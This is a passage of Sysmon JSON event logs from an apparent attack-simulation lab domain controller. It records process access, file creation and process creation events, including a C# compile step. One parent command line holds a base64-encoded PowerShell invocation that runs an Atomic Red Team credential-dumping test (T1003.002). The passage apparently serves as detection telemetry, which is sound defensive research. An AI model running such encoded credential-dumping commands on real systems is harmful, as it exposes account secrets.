C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5278,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5279,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5280,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5281,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5282,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5283,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001008010800}\r\nSourceProcessId: 3632\r\nSourceThreadId: 4900\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-0010C6750600}\r\nTargetProcessId: 4596\r\nTargetImage: C:\\Windows\\system32\\whoami.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-416D-5F2D-0000-001008010800}","SourceProcessId":"3632","SourceThreadId":"4900","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-0010C6750600}","TargetProcessId":"4596","TargetImage":"C:\\Windows\\system32\\whoami.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5284,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:31.525\r\nProcessGuid: {90617006-416E-5F2D-0000-001033270800}\r\nProcessId: 4384\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\qzd2uigm\\qzd2uigm.dll\r\nCreationUtcTime: 2020-08-07 11:56:31.525","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:31.525","ProcessGuid":"{90617006-416E-5F2D-0000-001033270800}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\qzd2uigm\\qzd2uigm.dll","CreationUtcTime":"2020-08-07 11:56:31.525","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5285,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.525\r\nProcessGuid: {90617006-416E-5F2D-0000-001033270800}\r\nProcessId: 4384\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\qzd2uigm\\qzd2uigm.cmdline\r\nCreationUtcTime: 2020-08-07 11:56:31.525","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.525","ProcessGuid":"{90617006-416E-5F2D-0000-001033270800}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\qzd2uigm\\qzd2uigm.cmdline","CreationUtcTime":"2020-08-07 11:56:31.525","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5286,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.529\r\nProcessGuid: {90617006-416F-5F2D-0000-0010C8440800}\r\nProcessId: 1516\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nFileVersion: 4.7.2053.0 built by: NET47REL1\r\nDescription: Visual C# Command Line Compiler\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: csc.exe\r\nCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\qzd2uigm\\qzd2uigm.cmdline\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-416D-5F2D-0000-00205A000800}\r\nLogonId: 0x8005A\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52\r\nParentProcessGuid: {90617006-416E-5F2D-0000-001033270800}\r\nParentProcessId: 4384\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA==","Category":"Process Create (rule: 